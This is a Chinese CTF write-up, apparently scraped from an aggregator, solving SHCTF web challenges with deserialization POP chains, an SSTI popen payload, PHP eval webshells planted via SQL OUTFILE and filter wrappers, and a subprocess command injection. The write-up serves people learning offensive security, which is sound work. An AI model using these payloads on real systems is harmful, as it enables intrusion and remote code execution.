SHCTF-校外赛道

news2024/12/25 22:14:05

SHCTF-校外赛道

[WEEK1]babyRCE

 1 (1)more:一页一页的显示档案内容
 2 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
 3 (3)head:查看头几行
 4 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
 5 (5)tail:查看尾几行
 6 (6)nl:显示的时候,顺便输出行号
 7 (7)od:以二进制的方式读取档案内容
 8 (8)vi:一种编辑器,这个也可以查看
 9 (9)vim:一种编辑器,这个也可以查看
10 (10)sort:可以查看
11 (11)uniq:可以查看
12 (12)file -f:报错出具体内容
/?rce=uniq${IFS}/fla\g

(本地资料已经保存)https://www.cnblogs.com/zzjdbk/p/13491028.html

[WEEK1]1zzphp

import requests

url = "http://112.6.51.212:30497/?num[]=123"

payload = {
    "c[ode":"a"*1000000+"2023SHCTF"
}
re = requests.post(url=url,data = payload)
print(re.text)

利用回溯机制来绕过preg_match

[WEEK1]ez_serialize

POC:

<?php
highlight_file(__FILE__);

class A{
    public $var_1;

    public function __invoke(){
        include($this->var_1);
    }
}

class B{
    public $q;
    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";
        }
    }

}
class C{
    public $var;
    public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$a = new B;
$a->q = new C;
$a->q->z = new D;
$a->q->z->p = new A;
$a->q->z->p->var_1 = "php://filter/read=convert.base64-encode/resource=flag.php";
echo serialize($a);
?>

简单的绕过

[WEEK1]登录就给flag

直接弱密码爆破

得到密码为passwd,直接登陆拿到flag

[WEEK1]飞机大战

直接搜索成功的英语 success,won,win函数即可

function won(){
var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0032\u004d\u006d\u005a\u006a\u004e\u006d\u004e\u006b\u004d\u0079\u0030\u0078\u004f\u0054\u006b\u0078\u004c\u0054\u0052\u0069\u004d\u007a\u0049\u0074\u004f\u0044\u0051\u0032\u004d\u0079\u0030\u0078\u004e\u0044\u004d\u0077\u004d\u0032\u0049\u0033\u004e\u0047\u0046\u006a\u004e\u0047\u004e\u0039\u000a";
	alert(atob(galf));
}
won();

即可得到flag

[WEEK1]ezphp

这题考点:

https://xz.aliyun.com/t/2557

/?code={${phpinfo()}}
pattern = \S*

[WEEK1]生成你的邀请函吧~

这题没什么好说的,按照他说的做就行,直接生成一个图片,图片里面有flag
在这里插入图片描述

[WEEK2]no_wake_up

这题绕过_wakeup_

试了试改O为C不行,属性加1不行,那就用Fastdestruction绕过

<?php
class flag{
    public $username;
    public $code;
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    } 
}
$a = new flag();
$a->username = "admin";
$a->code = "php://filter/read=convert.base64-encode/resource=flag.php";
echo serialize($a);
?>

[WEEK2]ez_ssti

基础的ssti,没有任何过滤直接构造

/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

[WEEK2]EasyCMS

后台进行sql代码执行,直接往里面写shell即可

/admin/admin.php
select "<?php @eval($_POST[1]);?>" INTO OUTFILE "/var/www/html/1.php";

[WEEK2]MD5的事就拜托了

<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
    extract(parse_url($_POST['SHCTF']));
    if($$$scheme==='SHCTF'){
        echo(md5($flag));
        echo("</br>");
    }
    if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("</br>");
        }
    }
}
if($_POST['SHCTF']!=md5($flag)){
    if($_POST['SHCTF']===md5($flag.urldecode($num))){
        echo("flag is".$flag);
    }
}

第一步进行变量覆盖两种写法:

在这里插入图片描述

host://query?SHCTF
user://user://pass:SHCTF@SHCTF/path?query#fragment

md5的hash扩展攻击:

一般的hash扩展攻击是md5($salt.$somethong.$insert)salt长度和something的值,然后$insert是我们可以控制的

这题就相当与我们把flag结尾插入}这个数据,但是呢我们又不插入它,因为flag借我肯定是}这个,这就相当于绕过了第一个if判断,实现了hash长度扩展攻击

在这里插入图片描述然后我们直接这样传参:

POST:SHCTF=md5值
GET:length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%001

贴一手参考链接:
https://www.freebuf.com/articles/database/164019.html

[WEEK2]ez_rce

from flask import *
import subprocess

app = Flask(__name__)


def gett(obj, arg):
    tmp = obj
    for i in arg:
        tmp = getattr(tmp, i)
    return tmp


def sett(obj, arg, num):
    tmp = obj
    for i in range(len(arg) - 1):
        tmp = getattr(tmp, arg[i])
    setattr(tmp, arg[i + 1], num)


def hint(giveme, num, bol):          # giveme exp
    c = gett(subprocess, giveme)
    tmp = list(c)
    tmp[num] = bol
    tmp = tuple(tmp)
    sett(subprocess, giveme, tmp)


def cmd(arg):
    subprocess.call(arg)


@app.route('/', methods=['GET', 'POST'])
def exec():
    try:
        if request.args.get('exec') == 'ok':
            shell = request.args.get('shell')
            cmd(shell)
        else:
            exp = list(request.get_json()['exp'])
            num = int(request.args.get('num'))
            bol = bool(request.args.get('bol'))
            hint(exp, num, bol)
        return 'ok'
    except:
        return 'error'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

这题subprocess.call()函数不能直接执行shell需要改变其配置才行

分析一手gett函数,可以通过json数据获取属性的值

def gett(obj, arg):
    tmp = obj
    for i in arg:
        tmp = getattr(tmp, i)
    return tmp

在这里插入图片描述

这就相当于:

gettatter(a,b)
返回的是a.b
gettatter(a,__init__)
a.__init__

所有我们通过这个函数来改变subprocess.call(arg)的默认参数的值,从而达到命令注入

def hint(giveme, num, bol):          # giveme exp
    c = gett(subprocess, giveme)
    tmp = list(c)  # 列出返回的对象字典
    tmp[num] = bol
    tmp = tuple(tmp)
    sett(subprocess, giveme, tmp)

第一步通过gett函数获取属性值,通过num参数控制改变第几个值,通过sett函数来改变值

在这里插入图片描述

相当于:

setattr(a,b,c)
a.b=c
setattr(a,__class__,c)
a.__class__=c

改了之后就可以进行命令注入

POST http://112.6.51.212:31043/?num=7&bol=1 HTTP/1.1
Host: 112.6.51.212:31043
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session-name=MTY5NzU5NDc0N3xEdi1CQkFFQ180SUFBUkFCRUFBQUl2LUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBWUFCRlZ6WlhJPXz4W-nn0Sc00zhyIGsAhqbD7I5pbyyFN_JSVEOQG8nyXg==; session=eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5OTQyMTIwNS44NTAzMjd9.ZUscFQ.DysBs-Ln-rDpiadDxBcl6yiok_s
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 43

{"exp":["Popen","__init__","__defaults__"]}
GET http://112.6.51.212:31043/?exec=ok&shell=mkdir+static;cat+/flag>./static/a.txt HTTP/1.1
Host: 112.6.51.212:31043
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session-name=MTY5NzU5NDc0N3xEdi1CQkFFQ180SUFBUkFCRUFBQUl2LUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBWUFCRlZ6WlhJPXz4W-nn0Sc00zhyIGsAhqbD7I5pbyyFN_JSVEOQG8nyXg==; session=eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5OTQyMTIwNS44NTAzMjd9.ZUscFQ.DysBs-Ln-rDpiadDxBcl6yiok_s
Upgrade-Insecure-Requests: 1

GET http://112.6.51.212:31043/static/a.txt HTTP/1.1
Host: 112.6.51.212:31043
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session-name=MTY5NzU5NDc0N3xEdi1CQkFFQ180SUFBUkFCRUFBQUl2LUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBWUFCRlZ6WlhJPXz4W-nn0Sc00zhyIGsAhqbD7I5pbyyFN_JSVEOQG8nyXg==; session=eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5OTQyMTIwNS44NTAzMjd9.ZUscFQ.DysBs-Ln-rDpiadDxBcl6yiok_s
Upgrade-Insecure-Requests: 1

得到flag

[WEEK3]gogogo

这题源码:

package route

import (
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"main/readfile"
	"net/http"
	"os"
	"regexp"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "User"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, User. How to become admin?")

}

func Readflag(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == "admin" {
		c.String(200, "Congratulation! You are admin,But how to get flag?\n")

		path := c.Query("filename")

		reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

		if reg.MatchString(path) {

			http.Error(c.Writer, "nonono", http.StatusInternalServerError)
			return
		}

		var data []byte
		if path != "" {
			data = readfile.ReadFile(path)
		} else {
			data = []byte("请传入参数")
		}

		c.JSON(200, gin.H{
			"success": "read: " + string(data),
		})
	} else {
		c.String(200, "Hello, User. How to become admin?")
	}

}

看了这个主要源码,发现根本没有路由可以传参数给我们打,扫描目录也没有结果,session也不知是啥,直接运行项目试试

运行本地项目发现session值和远端一样,直接在本地进修改代码然后用它的session

func Index(c *gin.Context) {

	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}

	session.Values["name"] = "admin"
	err = session.Save(c.Request, c.Writer)
	if session.Values["name"] != "admin" {
		c.String(200, "nonono")
	}

	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}

	c.String(200, "Hello, User. How to become admin?")

}

得到session:

session-name=MTY5OTI2MDg1NnxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXznL_MllaiKrLJ7cqSi-_vqD3G1IZ2rSXDHHIrHFKKWNw==

然后传入filename参数读取文件即可

reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

这个正则没过滤a和?,一眼丁真

/readflag?filename=/??a?

flag{3a5y_c0me_E45Y_6oOo_714874830a4d}

[WEEK3]sseerriiaalliizzee

源码:

 <?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}

class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;
        
    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
        
    }
}

    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?> 
no way, fuck off 

exit死亡绕过,就base64解码一下这个文件即可,用php伪协议来绕过

tostring是通过echo触发,直接打

在这里插入图片描述

pop链:

<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
        return $this->barking->dosomething();
    }
}

class CTF{
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;

    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";

    }
}
$a = new start;
$a->barking = new CTF;
$a->barking->part1 = "php://filter/convert.base64-decode/resource=5.php";
$a->barking->part2 = "aaPD89IHN5c3RlbSgkX0dFVFsnMSddKTsgPz4=";
echo serialize($a);

?>

[WEEK3]快问快答

直接上一手官方脚本:

import requests
import re
import time

session = requests.Session()
url = 'http://112.6.51.212:30459/'
for i in range(50):
    # try:
    response = session.get(url,verify=False)
    x = response.text
    # 定义正则表达式模式

    pattern = r'<h3>(.*?)</h3>'

    # 使用 re 模块的 findall 方法匹配所有符合模式的字符串
    result = re.findall(pattern, x)[0].split('=')
    print(result)
    answer = eval(result[0][3:].replace('x','*').replace('÷','//').replace('异或','^').replace('与','&'))
    print(answer)
    data = {
        'answer': str(answer),
        }
    time.sleep(1)
    x2 = session.post(url,data=data)
    # print(x2.text)
    print(re.findall(r'<p>(.*?)</p>', x2.text))
    print(re.findall(r'<p class="message">(.*?)</p class="message">', x2.text))
print(x2.text)

写的不好的脚本:
esponse.text
# 定义正则表达式模式

pattern = r'<h3>(.*?)</h3>'

# 使用 re 模块的 findall 方法匹配所有符合模式的字符串
result = re.findall(pattern, x)[0].split('=')
print(result)
answer = eval(result[0][3:].replace('x','*').replace('÷','//').replace('异或','^').replace('与','&'))
print(answer)
data = {
    'answer': str(answer),
    }
time.sleep(1)
x2 = session.post(url,data=data)
# print(x2.text)
print(re.findall(r'<p>(.*?)</p>', x2.text))
print(re.findall(r'<p class="message">(.*?)</p class="message">', x2.text))

print(x2.text)


写的不好的脚本:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1185801.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android内存回收机制、GC算法及内存问题分析解决

Android内存回收机制、GC算法及内存问题分析解决 在Android开发中&#xff0c;Java内存回收和垃圾收集&#xff08;GC&#xff09;机制是确保应用程序高效运行的关键部分。针对不同对象存活率&#xff0c;Android平台采用了引用计数算法和可达性分析法来判定对象的可回收性&am…

命名管道原理(和匿名管道的对比),mkfifo(命令行,函数),命名管道模拟实现代码+与多个子进程通信代码

目录 命名管道 引入 原理 和匿名管道的对比 使用 -- mkfifo 命令行指令 创建 文件类型p 使用 函数 函数原型 模拟实现 头文件 客户端代码 服务端代码 运行情况 模拟实现 -- 与多个子进程 介绍 服务端代码: 运行情况 命名管道 引入 匿名管道只能用于父子进程…

一篇文章带你搞懂DNS全流程

1.DNS与CDN DNS是域名系统的缩写&#xff0c;它是一种将域名和IP地址相互映射的分布式数据库&#xff0c;能够使人更方便地访问互联网。 DNS的主要功能是将域名解析为IP地址。当你在浏览器中输入一个网址时&#xff0c;浏览器会向DNS服务器发送一个请求&#xff0c;以获取该网…

5G-A 商用加速,赋能工业互联网

2019 年 6 月&#xff0c;中国工业和信息化部发放 5G 商用牌照。同年 10 月&#xff0c;三大运营商公布 5G 商用套餐&#xff0c;11 月 1 日正式上线 5G 商用套餐&#xff0c;标志中国正式进入 5G 商用新纪元。今年是 5G 商用的第五年&#xff0c;在当前数字经济蓬勃发展的催化…

什么是屏蔽机房?

屏蔽机房是一种用于保护数据中心设备的安全和可靠的措施。通过屏蔽机房&#xff0c;可以防止电磁干扰、防止物理入侵以及提供更好的隔离和安全性。下面是一些关于屏蔽机房的常见做法&#xff1a; 电磁屏蔽&#xff1a;为了防止电磁干扰对数据中心设备的影响&#xff0c;可以在屏…

代码随想录算法训练营第15天|102. 二叉树的层序遍历226. 翻转二叉树101. 对称二叉树

JAVA代码编写 102. 二叉树的层序遍历 给你二叉树的根节点 root &#xff0c;返回其节点值的 层序遍历 。 &#xff08;即逐层地&#xff0c;从左到右访问所有节点&#xff09;。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;[[3],[9…

11.8旧有报错与修改

我将uart_done&#xff08;出问题的信号&#xff09;的变量类型设为reg了&#xff0c;也就是我是reg uart_done这个信号的&#xff0c;这样做是错误的&#xff0c;哪怕你在接收模块确实定义的是reg类型&#xff0c;但是在顶层模块的时候&#xff0c;它可以视为是一条单纯的线而…

PPO算法是什么?

ppo称作近邻策略优化算法&#xff0c;是典型的Actor- critic算法&#xff0c;即以两个网络为输入&#xff0c;并可以同时更新两者参数&#xff1b;在RLHF中我们更关注actor网络的更新方式&#xff0c;其损失函数由三部分构成&#xff0c;分别是&#xff1a;1&#xff0c;新旧状…

二进制搭建及高可用 Kubernetes v1.20

目录 一、实验规划&#xff1a; 二、操作系统初始化配置&#xff1a; 1. 关闭防火墙 selinux&#xff1a; 2. 关闭swap分区&#xff1a; 3. 根据规划设置主机名&#xff1a; 4. 所有主机添加hosts&#xff1a; 5. 调整内核参数: 6. 时间同步: 三、部署 etcd 集群&#xff1a…

netty (二) netty原理详解

netty高性能架构设计 netty 写一个简单的demo 服务器端 package com.atguigu.netty.simple;import io.netty.bootstrap.ServerBootstrap; import io.netty.channel.*; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.SocketChannel; import …

GIS开发入门,TopoJSON格式是什么?TopoJSON格式与GeoJSON格式有什么不同?

TopoJSON介绍 TopoJSON是一种几何拓扑结构的地理数据格式,它使用拓扑结构来表示地理对象,可以更有效地压缩和转移数据,从而加快数据加载速度。 TopoJSON格式构成 TopoJSON文件由三部分组成,transform、objects和arcs组成。transform描述了变换参数; objects描述地理实体…

mongodb分组查询

通过userId分组&#xff0c;得到结果字段为&#xff1a;_id和count db.my_solitaire.aggregate([{$group: {_id: "$userId", count: {$sum: 1}}}])通过userId分组得到分组字段和其他想要的字段&#xff0c;得到_id&#xff0c;userName&#xff0c;count userName 为…

【广州华锐互动】智能楼宇3D数字化展示,实现对建筑物的实时监控和管理

随着科技的不断发展&#xff0c;人们对于生活品质的要求也在不断提高。在这个信息爆炸的时代&#xff0c;如何将复杂的数据以直观、生动的方式呈现给用户&#xff0c;已经成为了一个重要的课题。智能楼宇3D数字化展示作为一种新型的建筑科技&#xff0c;正逐渐成为行业的新宠&a…

Spring笔记(三)(Spring整合web环境)

01、Spring整合web环境 1.1 Javaweb三大组件及环境特点 在Java语言范畴内&#xff0c;web层框架都是基于Javaweb基础组件完成的&#xff0c;所以有必要复习一下Javaweb组件的特点 组件作用特点Servlet服务端小程序&#xff0c;负责接收客户端请求并作出响应的单例对象&#…

Lec13 Sleep Wake up

进程切换的流程 一个进程出于某种原因想要进入休眠状态&#xff0c;比如说出让CPU或者等待数据&#xff0c;它会先获取自己的锁&#xff1b;之后进程将自己的状态从RUNNING设置为RUNNABLE&#xff1b;之后进程调用switch函数&#xff0c;其实是调用sched函数在sched函数中再调…

Sealos 私有云正式发布,三倍性能 1/5 成本

马斯克将推特下云后可以节省 60% 成本&#xff0c;不代表你可以。 但是有了 Sealos 之后&#xff0c;你真的可以&#xff01; Sealos 私有云正式发布&#xff0c;详情地址&#xff1a;https://sealos.run/zh-Hans/self-hosting 原文链接&#xff1a;https://forum.laf.run/d/…

使用python操作数据库

一、背景 当前由于多个脚本涉及到账户登陆&#xff0c;同时账号密码存在不断修改的情况&#xff0c;为避免多处修改&#xff0c;现计划将账户信息放到数据库中&#xff0c;后续所有账号信息均从数据库中去读取。 二、本文主要结构 创建测试账户 库表中插入记录 三、代码 1、创建…

【方法】如何取消PDF文件的“打开密码”?

我们知道&#xff0c;PDF文件可以设置“打开密码”&#xff0c;保护文件不被随意打开&#xff0c;那如果后续不需要了&#xff0c;要怎么取消“打开密码”呢&#xff1f;不清楚的小伙伴可以试试小编分享的3种方法&#xff01; 方法1&#xff1a;使用PDF编辑器 PDF编辑器不仅可…

程序员远程兼职接单是骗局?索嘎~

“你还在线上接单&#xff1f;”“没被坑够&#xff1f;”“你不知道这些平台有多坑&#xff1f;”...... 相信无论是有无经验的兄弟都看到过这样的句子。那么事实果真如此吗&#xff1f;今天&#xff0c;带大家来了解一波。 常见的吐槽和问题是&#xff0c;一上来平台还没出力…

域名解析DNS:如何查询txt类型的解析记录

前言 略 查询txt类型的解析记录 使用 nslookup 命令查询。 示例&#xff1a; cmd> nslookup -qttxt _acme-challenge.mydomain.com 服务器: UnKnown Address: fe80::1非权威应答: _acme-challenge.mydomain.com text "_unitrust-dcv2311071423492fmnwb1w…